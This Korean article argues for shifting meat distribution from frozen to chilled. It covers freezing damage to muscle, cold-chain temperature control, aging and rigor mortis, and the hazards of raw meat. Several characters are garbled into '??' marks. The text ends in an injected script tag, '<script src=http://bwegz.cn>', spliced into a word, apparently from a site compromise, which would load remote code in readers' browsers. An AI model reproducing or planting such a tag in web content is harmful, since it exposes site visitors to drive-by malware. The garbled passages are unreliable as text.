" 축산업의 경쟁력은 소비자에게 맛있고 위생적인 축산물을 공급하는데서 ??수 있다. 이는 고기도 상품적 가치에 따라 달라질 수 있다는 점을 의미하는 것이다. 그래서 냉장육으로의 유통은 아무리 강조해도 미진하다.

냉장육과 냉동육의 차이는 얼음이 생성되는 동결점 온도에 따라 달라진다. 냉장육은 0∼4@도에서 저장된 고기를 말하고, 냉동육은 섭씨 영하 18∼24@에서 저장된 고기를 의미한다. 사실 국내 소비자들은 생등심을 통해 냉장육에 익숙해져 있다.
이같이 냉장육은 냉동육에 비해 저장온도가 높아 저장기??짧지만 신선도를 유지해 준다. 냉동육은 냉장육에 비해 저장기??길지만 육질 저하를 불러온다. 단순히 저장기간만을 고려할 때는 냉동육이 유리하지만 소비자에게 좋은 고기를 공급키 위해선 신선도와 맛을 유지하는 냉장육 유통으로의 전환은 불가피하다.

특히 돼지고기 수출 활성화와 2001년 쇠고기 수입 완전개방에 대비하기 위해서라도 냉장육 유통체계를 시급히 확립해야 한다. 이미 미국과 호주 등 주요 쇠고기 수출국들이 국내시장 선점을 위해 냉장숙성 쇠고기를 시판하고 나선 점은 시사하는 바가 크다.
그러나 얼마전까지만 해도 국내 축산물 유통은 위생적 도축시설의 미비로 당일 도축한 뜨끈 뜨끈한 도체가 유통돼 왔다. 또 발골 처리된 부분육들이 비닐 필름에 쌓여 냉동고에서 밤새 얼려져 왔다.

장기간 안전한 보관을 위해선 어쩔 수 없이 냉동이 불가피 하다고 역설할지 모르지만 그만큼 고기의 맛은 떨어질 수 밖에 없었던 것이 현실이다. 관리는 용이할지 모르지만 고기의 맛을 좌우하는 연도와 다즙성, 풍미 등은 고려되지 않았던 것이다.
전문가들은 냉동육의 육질이 크게 떨어지는 이유로 고기가 동결되면 얼음에 의해 근육세포가 파괴된다고 지적한다. 근육세포의 파괴는 보수성이 떨어져 유리육집의 발생과 영영성분의 손실을 가져온다.

또 단백질과 당질 등이 수분의 동결에 따라 위치가 고정된다. 여기다 염류와 당분 등 수용성 성분들이 분리 농축돼 한 곳으로 몰림으로써 단백질의 변성을 초래, 육질이 탄력성을 잃을 수 밖에 없다는 지적이다.
냉장육은 이같은 냉동육의 단점을 보완하면서도 위생적인 처리와 적정온도 유지만 해주면 저장기??최대한 늘릴 수 있다는 것이 전문가들의 진단이다. 전문가들은 냉장육 유통을 위해선 우선적으로 개선돼야 할 사항으로 첫 단계인 도축과정에서의 오염 최소화를 꼽고 있다.

첫번째 단계인 도축과정에서의 오염이 발생되면 아무리 냉장상태로 유통을 하더라도 안전성 확보는 요원하기 때문이다. 또 수송기간중의 온도관리는 저장기간 연장과 밀접한 관련을 맺고 있다. 운반차량의 경우 운송시간 및 개폐횟수까지 고려한 온도관리가 필요하다는 지적이다.
이같이 냉장유통 체계는 신선하고 깨끗하게 도축된 도체의 냉각에서 부터 가정내의 부분육 냉장저장까지를 의미한다. 특히 효과적인 냉장육 관리에는 도체의 온도를 변화시키기 위한 예비냉각과 냉장저장, 냉장운반, 냉장진열, 냉장보관 등 단계별로 전문화가 필요하다.

이와함께 냉장육에서 빼놓을 수 없는 것중 하나는 숙성 과정이다. 숙성은 질겨진 고기의 연도를 향상시키기 위해 지육이나 분할육을 빙점 이상의 온도에 장시간 보관하는 것을 말한다.
일반적으로 숙성은 3∼5일이상 실시하고 있다. 숙성과정을 거쳐야 하는 이유로는 가축의 도축시 시??경과하면 단백질 분해효소인 카뎁신에 의해 발생되는 사후강직 현상을 풀어주는 효과가 있기 때문이다.

특히 숙성기간동안 사후강직의 원인인 액토미오신의 구조가 분해되기 시작하면서 고기의 연도가 증가되는 자기소화 현상이 일어난다. 따라서 충분히 숙성된 고기는 연하고 맛이 좋은 고기를 만들어 준다.
일각에서는 사후강직 현상과 관련 생고기 유통이 효과적이라는 의견이 제기되고 있다. 전문가들은 이에 대해 고기는 일반적으로 도살직후 상태에서 연도가 좋다고 인정하고 있다.

그러나 고기는 사후강직이 완료되는 24시간 전후로 가장 질긴 상태가 되지만 하루가 지나면 미생물이 폭발적으로 증가하기 때문에 냉장하지 않은 상태에서의 섭취는 위험하다고 지적한다.
또 생고기는 도축후 6시??경과되지 않아야 하고 위생적으로 처리된 고기를 이용해야 하는데 6시간 이내의 한정된 시간에 도축과 유통과정을 거쳐 소비가 완료되기는 사실상 어렵다고 지적하고 있다. 결국 도축장 인근에서 생고기 유통이 가능하지만 현재의 식육점 분포상 생고기 취급은 불가능하다는 의견이 지배적이다.

품질과 안전성이 요구되는 상황에서 냉동육과 생고기는 냉장육과의 품질경쟁에서 경쟁력을 확보할 수 없는 상황이다. 특히 소비자들도 냉장과 냉동육의 품질차이를 인?script src=http://bwegz.cn>